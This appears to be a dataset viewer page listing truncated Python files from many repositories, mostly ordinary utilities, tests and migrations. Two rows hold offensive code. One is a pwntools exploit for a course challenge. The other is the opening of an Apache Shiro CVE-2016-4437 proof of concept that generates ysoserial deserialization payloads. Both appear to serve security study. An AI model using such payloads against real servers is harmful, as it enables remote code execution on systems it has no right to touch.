Expression... | 0 | 0 | 0 | 0 | 0 | 0 |
iepy/utils.py | francolq/iepy | 813 | 3355297 | <reponame>francolq/iepy
from getpass import getuser
import csv
import gzip
import logging
import os
import sys
import tarfile
import zipfile
import wget
from appdirs import AppDirs
logger = logging.getLogger(__name__)
DIRS = AppDirs('iepy', getuser())
if not os.path.exists(DIRS.user_data_dir):
# making sure tha... | 0 | 0 | 0 | 0 | 0 | 0 |
src/triage/component/results_schema/alembic/versions/a98acf92fd48_add_nuke_triage_function.py | josephbajor/triage_NN | 160 | 3355341 | <reponame>josephbajor/triage_NN
"""add nuke triage function
Revision ID: <KEY>
Revises: <KEY>
Create Date: 2020-07-19 01:46:02.751987
"""
from alembic import op
import os
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = '<KEY>'
branch_labels = None
depends_on = None
def upgrade():
nu... | 0 | 0 | 0 | 0 | 0 | 0 |
pyxtal/miscellaneous/test_wyckoff_check.py | ubikpt/PyXtal | 127 | 3355347 | <reponame>ubikpt/PyXtal
from structure import *
allpassed = True
for sg in range(1, 231):
print("Calculating spacegroup " + str(sg))
wyckoffs = get_wyckoffs(sg)
for index, wp in enumerate(wyckoffs):
v = np.random.random(3)
for i in range(3):
if np.random.random() < 0.5:
... | 0 | 0 | 0 | 0 | 0 | 0 |
models/orn/backbone/resnet/bottleneck.py | HCIS-Lab/Interaction-benchmark | 157 | 3355354 | from __future__ import annotations
import torch.nn as nn
import ipdb
class Bottleneck(nn.Module):
expansion: int = 4
only_2D: bool = False
def __init__(self, inplanes, planes, stride: int=1, downsample: object | None=None, dilation: int=1):
super(Bottleneck, self).__init__()
self.conv1 = ... | 13 | 2 | 2 | 3 | 20 | 0 |
lessons/14_advanced_exercises/challenges/black_beauty/exploit.py | h4ck3rb0b/linux-exploitation-course | 907 | 3355359 | <reponame>h4ck3rb0b/linux-exploitation-course<gh_stars>100-1000
from pwn import *
#context.log_level = 'debug'
def main():
#p = process("./blackbeauty")
p = remote("localhost", 1350)
# Random tape length
p.sendline("10")
# Write the address of the src file to the symbol member struct
src_fil... | 0 | 0 | 0 | 0 | 0 | 0 |
openbook_hashtags/tests/test_hashtags.py | TamaraAbells/okuna-api | 164 | 3355381 | <gh_stars>100-1000
# Create your tests here.
import random
from django.urls import reverse
from faker import Faker
from rest_framework import status
from openbook_common.tests.helpers import make_user, make_authentication_headers_for_user, make_hashtag_name, \
make_hashtag, make_moderation_category, make_global_m... | 0 | 0 | 0 | 0 | 0 | 0 |
setup.py | dp92987/flask-paginate | 239 | 3355388 | <reponame>dp92987/flask-paginate
"""
flask-paginate
--------------
Simple paginate for flask (study from will_paginate).
Use bootstrap css framework, supports bootstrap2&3 and foundation
"""
import io
import os.path
from setuptools import setup
version = ""
work_dir = os.path.dirname(os.path.abspath(__fil... | 0 | 0 | 0 | 0 | 0 | 0 |
cilium/tests/test_cilium.py | remicalixte/integrations-core | 663 | 3355400 | # (C) Datadog, Inc. 2019-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
from datadog_checks.cilium import CiliumCheck
from .common import ADDL_AGENT_METRICS, AGENT_DEFAULT_METRICS, CILIUM_VERSION, OPERATOR_AWS_METRICS, OPERATOR_METRICS
def test_agent_check(aggregator, agent... | 0 | 0 | 0 | 0 | 0 | 0 |
pipeline/kapture_hloc_pipeline_from_kapture_dataset.py | jkabalar/kapture-localization | 118 | 3355413 | <filename>pipeline/kapture_hloc_pipeline_from_kapture_dataset.py<gh_stars>100-1000
#!/usr/bin/env python3
# Copyright 2020-present NAVER Corp. Under BSD 3-clause license
import argparse
import logging
import os
import os.path as path
import sys
from typing import List, Optional
from pathlib import Path
import numpy a... | 0 | 0 | 0 | 0 | 0 | 0 |
tests/slack_sdk/web/test_web_client_http_retry_ratelimited.py | priya1puresoftware/python-slack-sdk | 2,486 | 3355437 | <gh_stars>1000+
import unittest
from slack_sdk.web import WebClient
from tests.slack_sdk.web.mock_web_api_server import (
setup_mock_web_api_server,
cleanup_mock_web_api_server,
)
from slack_sdk.http_retry import rate_limit_error_retry_handler
class TestWebClient_HttpRetry_RateLimited(unittest.TestCase):
... | 0 | 0 | 0 | 0 | 0 | 0 |
qualcoder/GUI/ui_dialog_import.py | ericbrasiln/QualCoder | 150 | 3355457 | <gh_stars>100-1000
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'ui_dialog_import.ui'
#
# Created by: PyQt5 UI code generator 5.14.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog_Import(object):
def setupUi(se... | 0 | 0 | 0 | 0 | 0 | 0 |
modules/tour/__init__.py | 276793422/attack-website | 327 | 3355458 | from . import tour
from . import tour_config
def get_priority() -> object:
return tour_config.priority
def run_module() -> tuple[object, object]:
return (tour.generate_tour(), tour_config.module_name) | 0 | 2 | 0 | 0 | 2 | 0 |
imodels/util/tree.py | stjordanis/imodels | 102 | 3355477 | from sklearn import datasets
from sklearn.tree import DecisionTreeRegressor
def compute_tree_complexity(tree, complexity_measure: str='num_rules') -> object:
"""Calculate number of non-leaf nodes
"""
children_left = tree.children_left
children_right = tree.children_right
# num_split_nodes = 0
... | 1 | 1 | 0 | 0 | 2 | 0 |
pocs/apache_shrio_deserialize_CVE-2016-4437/1.py | zx273983653/vulscan | 582 | 3355480 | # -*- encoding:utf-8 -*-
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
import requests
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', './ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils... | 0 | 0 | 0 | 0 | 0 | 0 |
chrome/browser/resources/PRESUBMIT.py | Ron423c/chromium | 575 | 3355503 | <gh_stars>100-1000
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Presubmit script for files in chrome/browser/resources.
See http://dev.chromium.org/developers/how-tos/depottools/presubmit-scripts
fo... | 0 | 0 | 0 | 0 | 0 | 0 |
scripts/extractImagesFromLog.py | hz-ants/LabelFusion-docker2- | 313 | 3355534 | <gh_stars>100-1000
'''
Usage:
directorPython scripts/extractImagesFromLog.py --logFolder logs/moving-camera --bot-config $LABELFUSION_SOURCE_DIR/config/bot_config.cfg
'''
import os
import argparse
from director import drcargs
import labelfusion.imagecapture
if __name__ == '__main__':
print os.getcwd()
if os.path.... | 0 | 0 | 0 | 0 | 0 | 0 |
boxsdk/util/chain_map.py | jayneeljariwala/box-python-sdk | 367 | 3355541 | <reponame>jayneeljariwala/box-python-sdk
# coding: utf-8
from __future__ import absolute_import, unicode_literals
from functools import wraps
__all__ = list(map(str, ['ChainMap']))
# pylint:disable=unused-import
try:
from collections import ChainMap
except ImportError:
from chainmap import ChainMap as _Ch... | 0 | 0 | 0 | 0 | 0 | 0 |
src/cloudservice/azext_cloudservice/generated/custom.py | haroonf/azure-cli-extensions | 207 | 3355546 | # --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incor... | 30 | 26 | 0 | 0 | 56 | 0 |
leonardo/module/web/widgets/views.py | timgates42/django-leonardo | 102 | 3355550 |
from __future__ import absolute_import, unicode_literals
import json
import sys
from django.contrib.contenttypes.models import ContentType
from django.core.urlresolvers import reverse, reverse_lazy
from django.http import HttpResponse, HttpResponseRedirect, JsonResponse
from django.utils import six
from django.utils... | 0 | 30 | 7 | 0 | 37 | 0 |
care/facility/migrations/0268_auto_20210729_1327.py | gigincg/care | 189 | 3355551 | # Generated by Django 2.2.11 on 2021-07-29 07:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies: list[tuple[str, str]] = [
('facility', '0267_dailyround_meta'),
]
operations: list[object] = [
migrations.AlterField(
model_name='hi... | 0 | 0 | 2 | 0 | 2 | 0 |
ptp/workers/test_data_dict_parallel.py | aasseman/pytorchpipe | 232 | 3355572 | <reponame>aasseman/pytorchpipe
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
import time
from ptp.components.tasks.task import Task
from ptp.components.models.model import Model
from ptp.data_types.data_streams import DataStreams
from ptp.data_types.data_definition import DataD... | 0 | 0 | 0 | 0 | 0 | 0 |
res/TensorFlowPythonExamples/examples/elu/__init__.py | juitem/ONE | 255 | 3355575 | <reponame>juitem/ONE<filename>res/TensorFlowPythonExamples/examples/elu/__init__.py
import tensorflow as tf
in_ = tf.compat.v1.placeholder(dtype=tf.float32, shape=(1, 1), name="Hole")
elu_ = tf.compat.v1.nn.elu(in_)
| 0 | 0 | 0 | 0 | 0 | 0 |
tests/neptune/new/attributes/atoms/test_file.py | Raalsky/neptune-client | 254 | 3355577 | #
# Copyright (c) 2020, Neptune Labs Sp. z o.o.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... | 0 | 0 | 0 | 0 | 0 | 0 |
python/GafferUI/Timeline.py | ddesmond/gaffer | 561 | 3355582 | ##########################################################################
#
# Copyright (c) 2012, <NAME>. All rights reserved.
# Copyright (c) 2013, Image Engine Design Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the f... | 3 | 2 | 0 | 1 | 6 | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.